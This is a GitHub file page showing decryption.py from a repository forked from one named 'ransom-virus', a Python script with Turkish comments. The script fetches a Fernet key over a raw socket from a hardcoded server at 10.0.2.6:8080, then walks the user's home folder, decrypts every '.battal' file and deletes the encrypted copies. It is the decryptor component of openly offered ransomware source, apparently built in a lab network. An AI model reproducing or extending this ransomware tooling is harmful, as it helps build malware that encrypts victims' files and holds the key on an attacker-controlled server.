forked from battalkoc/ransom-virus
-
Notifications
You must be signed in to change notification settings - Fork 1
/
decryption.py
41 lines (38 loc) · 1.43 KB
/
decryption.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os
import socket
import getpass
from cryptography.fernet import Fernet
# Aktif olan kullanıcının kullanıcı adını alın
username = getpass.getuser()
def get_key_from_server():
# Socket bağlantısı oluşturun
sock = socket.socket()
# Sunucuya bağlanın
sock.connect(("10.0.2.6", 8080))
# Anahtarı alın
key = sock.recv(1024)
return key
# Şifrelenmiş dosyaları çözmek için kullanılacak anahtarı alın
key = get_key_from_server()
print(key)
# Anahtarı kullanarak Fernet sınıfının bir örneğini oluşturun
fernet = Fernet(key)
# Belirtilen dosya yolunda dosyaları dolasın
for root, dirs, files in os.walk("C:\\Users\\"+username):
for file in files:
# Dosya uzantısı ".battal" ile bitiyorsa
if file.endswith(".battal"):
# Dosya yolunu oluşturun
file_path = os.path.join(root, file)
# Şifrelenmiş dosyayı oku
with open(file_path, "rb") as f:
encrypted_data = f.read()
# Şifrelenmiş dosyayı çöz
decrypted_data = fernet.decrypt(encrypted_data)
# Dosya adını ve uzantısını ayırın
filename, extension = os.path.splitext(file)
# Çözülmüş dosyayı dosya yoluna yazın
with open(os.path.join(root, filename), "wb") as f:
f.write(decrypted_data)
# Şifrelenmiş dosyayı silin
os.remove(file_path)